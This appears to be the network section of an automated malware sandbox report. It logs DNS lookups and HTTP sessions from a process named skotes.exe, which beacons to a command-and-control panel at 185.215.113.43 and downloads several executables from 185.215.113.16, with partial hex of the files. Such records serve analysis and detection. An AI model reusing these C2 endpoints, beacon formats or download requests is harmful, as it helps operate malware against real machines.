Nov 23, 2024 20:24:15.161508083 CET	1.1.1.1	192.168.2.4	0x1d0b	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:15.161508083 CET	1.1.1.1	192.168.2.4	0x1d0b	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:15.161508083 CET	1.1.1.1	192.168.2.4	0x1d0b	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:15.161508083 CET	1.1.1.1	192.168.2.4	0x1d0b	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:15.161726952 CET	1.1.1.1	192.168.2.4	0xdad0	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:15.163851023 CET	1.1.1.1	192.168.2.4	0x21ad	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:15.163851023 CET	1.1.1.1	192.168.2.4	0x21ad	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:16.564414978 CET	1.1.1.1	192.168.2.4	0xe004	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:20.600688934 CET	1.1.1.1	192.168.2.4	0xca84	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:20.689656019 CET	1.1.1.1	192.168.2.4	0x2d02	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:21.208261013 CET	1.1.1.1	192.168.2.4	0x4534	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:21.208456039 CET	1.1.1.1	192.168.2.4	0x9e15	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:22.528440952 CET	1.1.1.1	192.168.2.4	0xfee2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:22.528440952 CET	1.1.1.1	192.168.2.4	0xfee2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:22.629415035 CET	1.1.1.1	192.168.2.4	0x7cb3	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:22.629415035 CET	1.1.1.1	192.168.2.4	0x7cb3	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:22.629415035 CET	1.1.1.1	192.168.2.4	0x7cb3	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:22.761116028 CET	1.1.1.1	192.168.2.4	0x5a09	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:22.764169931 CET	1.1.1.1	192.168.2.4	0x44b5	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:22.788014889 CET	1.1.1.1	192.168.2.4	0x4715	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:22.864283085 CET	1.1.1.1	192.168.2.4	0x747e	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:22.864283085 CET	1.1.1.1	192.168.2.4	0x747e	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:22.917018890 CET	1.1.1.1	192.168.2.4	0xbf76	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:22.917018890 CET	1.1.1.1	192.168.2.4	0xbf76	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:22.934353113 CET	1.1.1.1	192.168.2.4	0x9baa	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 23, 2024 20:24:22.941545010 CET	1.1.1.1	192.168.2.4	0x1461	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:23.253549099 CET	1.1.1.1	192.168.2.4	0x3fb2	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:23.899569035 CET	1.1.1.1	192.168.2.4	0xa408	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:24.046688080 CET	1.1.1.1	192.168.2.4	0x34fa	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:24.075686932 CET	1.1.1.1	192.168.2.4	0x2a64	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:24.078103065 CET	1.1.1.1	192.168.2.4	0x2f8	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:24.078103065 CET	1.1.1.1	192.168.2.4	0x2f8	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:24.078485966 CET	1.1.1.1	192.168.2.4	0x3026	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:24.078485966 CET	1.1.1.1	192.168.2.4	0x3026	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49748	185.215.113.43	80	7840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:23:03.889209032 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 20:23:05.268682003 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 19:23:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49759	185.215.113.43	80	7840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:23:06.901514053 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 37 32 41 37 30 42 31 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB72A70B15B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 20:23:08.317109108 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 19:23:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 38 35 30 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 35 30 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 38 35 30 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 35 30 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1008506001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008507001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008508001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008509001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49760	185.215.113.16	80	7840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:23:08.543082952 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 20:23:09.884727955 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 19:23:09 GMT Content-Type: application/octet-stream Content-Length: 1840128 Last-Modified: Sat, 23 Nov 2024 18:38:12 GMT Connection: keep-alive ETag: "67422114-1c1400" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 10 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 49 00 00 04 00 00 70 53 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELQ<?gI@@IpS@\pp `b@.rsrcpr@.idata t@ )v@rriqemsb/vx@gdzxkufkI@.taggant0I"@
Nov 23, 2024 20:23:09.884901047 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:09.885509014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:09.885552883 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:09.885566950 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:09.886413097 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:09.886495113 CET	1236	IN	Data Raw: d8 ad b1 b3 14 83 96 52 92 b2 bd 84 da 5d 48 35 0b 59 54 5a 82 06 1c 80 10 fe ac b9 f2 28 91 5e 32 30 e7 c6 e5 76 55 0a d9 5c ce 01 cc f8 b6 42 30 29 ce 15 a7 1c 25 af 88 15 90 5e 4c 28 3c 0a b5 b2 47 5b d1 d6 e6 66 49 bd 6f 6d 7b 51 b8 46 b9 9c Data Ascii: R]H5YTZ(^20vU\B0)%^L(<G[fIom{QFL+pg(88S79{b(i`~&0KM cF5S=D2E?'QTg@a3SZQvan\|lV>qUrJ'`~u$U33)
Nov 23, 2024 20:23:09.886507988 CET	248	IN	Data Raw: b5 d9 a2 10 1b 96 0a 94 f9 c4 aa 94 0d 90 f3 12 25 14 62 d5 0a 38 de b8 25 6a f3 7a 0e 84 df a7 6b 1c 8a 4f da 0e ce d3 f1 78 bf 33 90 7b 7f 5b a1 18 b1 dc f4 40 8d 9e b8 c7 af c9 a1 39 4e 47 fe 04 50 11 f1 2b d4 41 c9 84 dd 92 c0 2c 2b 91 d4 e6 Data Ascii: %b8%jzkOx3{[@9NGP+A,+bd"\JAB-mV9W&;#4]~=>\|ie?=(/wI^ jL"o%ly;8mn.=Hag->bFr ;2{7?\|V-fYKCAnvMA9
Nov 23, 2024 20:23:09.887470961 CET	1236	IN	Data Raw: 2f 25 10 9f 5c 2a 24 c9 fa 84 37 e4 33 16 a4 95 77 7b e4 fc 2b 8c a0 82 d2 e5 cd 62 c3 39 3b 11 c7 8c e9 17 f4 8b d0 9b 00 78 0b 8f db 88 87 b6 d7 12 ca 65 1d e9 53 c3 a8 63 80 4e 82 ff f2 e7 77 1b 6b 9b 04 65 e7 a9 6b 6e c9 9a c3 84 6d 98 d6 36 Data Ascii: /%\*$73w{+b9;xeScNwkeknm6nG)7J& $ PlZiQii?eqAMNT_,U7pjf:?Q%5qFV\e'CNn,ImAUrENLEP@^Mw[5
Nov 23, 2024 20:23:09.887571096 CET	1236	IN	Data Raw: 7f 7a 19 49 dd 85 a7 1e 1e 46 bc 6f 0f 78 13 09 ee ca 67 d3 b0 6c ae 7b 72 24 33 7a c4 5f ae 8a a3 b4 87 98 dd d3 3c 72 e8 0d 3a bb fb 51 f5 ed 73 be 2d d0 cf c7 2f cb f2 0d 65 c9 46 8c 65 50 88 05 11 50 f6 99 e8 cf 26 1e e4 c2 bd 3c 07 62 63 18 Data Ascii: zIFoxgl{r$3z_<r:Qs-/eFePP&<bcvHr~2$AO)oj9hiIU7]tL5+[s2sp>Jelbl7(;KVlO**P j&nbu%CeT!:<--o44jMmB-c
Nov 23, 2024 20:23:10.007951975 CET	1236	IN	Data Raw: 3f b4 2e 13 5e 34 f8 0d dd db 51 0b 48 80 6b 5c 05 b3 db f4 42 8d db 4f f4 16 57 4a bb d0 99 70 6b 81 89 a6 1e 15 29 64 df 1c b4 0e 3d 18 fd 44 23 8b d7 65 f2 4d fd 57 29 10 7f eb 3b 7f 65 91 6e 3e e3 c9 cb 78 e0 b1 86 18 a5 86 1c f8 59 07 ff 78 Data Ascii: ?.^4QHk\BOWJpk)d=D#eMW);en>xYx.8TDFk.Erdo\|IF;3L3xe5?cWz:}qbBo 7$[OIM$8jQ\@3?8BQt%Ib7MZsZsLy8Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49776	185.215.113.43	80	7840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:23:15.381750107 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 35 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008506001&unit=246122658369
Nov 23, 2024 20:23:16.773538113 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 19:23:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49783	185.215.113.16	80	7840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:23:16.963725090 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 20:23:18.298913002 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 19:23:18 GMT Content-Type: application/octet-stream Content-Length: 1809920 Last-Modified: Sat, 23 Nov 2024 18:38:19 GMT Connection: keep-alive ETag: "6742211b-1b9e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 10 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 69 00 00 04 00 00 da de [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g$i@@i@M$a$$ $b@.rsrc$r@.idata $t@ @*$v@fswcchxkOx@egtbgvgyix@.taggant0i"\|@
Nov 23, 2024 20:23:18.298949003 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:18.299457073 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:18.299495935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:18.299509048 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:18.300390005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:18.300448895 CET	1236	IN	Data Raw: 51 04 9b 0e 1c 13 21 ca 59 ce bc d9 93 55 3f bb 39 79 c2 56 8b dd 98 de 23 02 bf 5f 3b 0b b2 8e ab 0c 90 4d ca 88 76 c2 c6 eb ea 27 cd 17 ba f9 6e 9f 49 12 fb 1e 5b 92 89 13 85 ff b8 3e ea ea 88 06 1e e4 fe 13 2c 38 6f 96 2b 45 3a 03 db c6 ca 42 Data Ascii: Q!YU?9yV#_;Mv'nI[>,8o+E:BM/"Q05P)@!xZzeKP!3 h5wT(W)60WJ zU`i'<Iy.eFdL @.DY9;J/i
Nov 23, 2024 20:23:18.300466061 CET	1236	IN	Data Raw: 81 8f 98 0c 9b 02 0c f0 0a d0 77 11 45 de 4d 7e d4 e9 b5 4d cf 77 a0 d1 28 a6 a4 7e 88 cb f7 f7 ae 6f c9 44 62 7a b5 95 5a b1 f9 3a d5 bc ef 44 8b d9 2a 62 c0 8a e8 67 4d 04 ee d7 be ae 2e 2e 40 43 8d 21 dc 60 83 84 b2 99 81 e8 31 7d 15 a4 5c 1e Data Ascii: wEM~Mw(~oDbzZ:DbgM..@C!`1}\}xy5ZT]z;x<SziLW8SMx5&vKV{>G{r_5'!KO2:2:3J-~Th_Sl4D?Tbt6`z
Nov 23, 2024 20:23:18.300530910 CET	372	IN	Data Raw: 75 6b a9 e9 59 4b 34 f7 8a 0a 4d 4c cf 51 b9 af f6 82 5a 92 a2 18 fd c7 0d 02 b4 a6 32 ed b9 ce be 46 ed 4b 15 3f 87 92 ca 18 85 c5 94 8c 95 f1 a3 16 bf 86 fa 13 91 52 fd ca 32 95 c8 3c b1 26 81 cb ba 8f db b2 c4 f2 34 14 76 f6 ef 46 fd 2e f5 dc Data Ascii: ukYK4MLQZ2FK?R2<&4vF. n\Ow8&V0VgDMs.Bp53M\|B}6~UrHiV:]Nf638MRE;L:21Ru
Nov 23, 2024 20:23:18.301279068 CET	1236	IN	Data Raw: 6a 14 bd 0e 55 d2 f7 c6 4c 93 c2 36 d3 f2 36 86 56 47 21 4c fd a9 ba f9 f1 1a c5 4e e3 8f 06 b0 c0 82 9a 92 1a 1b 39 4f cd 4a bb c8 af f6 84 f7 36 16 49 94 f5 30 34 ee 62 3b 31 84 5e 82 36 f8 46 47 55 f7 3c ce 1a 52 cc be f4 75 a3 47 bb 2e d6 13 Data Ascii: jUL66VG!LN9OJ6I04b;1^6FGU<RuG.>2#"Cj>2CN3GnHh6K5;^ZJ_(Cn"?X4{.zR6.QhKL)Lg&k*)1#8rz
Nov 23, 2024 20:23:18.424036980 CET	1236	IN	Data Raw: fe 06 e3 f6 c0 38 ed c7 b6 82 2f bd ca 75 31 8c c3 0a cd 4e 6f 46 93 83 4f 22 25 c0 1c 86 20 77 10 16 b2 d4 87 8a 36 c0 7a 25 09 4c 1f fc bd bf 5e aa b2 0e 5f 4b 8d ea 9f 0d d7 ec fb 2f 8d c0 fc e6 33 94 8c 42 9b a6 1e 2c b9 2d cd 86 36 c0 66 55 Data Ascii: 8/u1NoFO"% w6z%L^_K/3B,-6fU?2R?R?]6~/#.A7}*5'2NNF2&\:wJRrV6hhK~j)O$&Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49802	185.215.113.43	80	7840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:23:23.807353020 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 35 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008507001&unit=246122658369
Nov 23, 2024 20:23:25.255438089 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 19:23:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49807	185.215.113.16	80	7840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:23:25.411348104 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
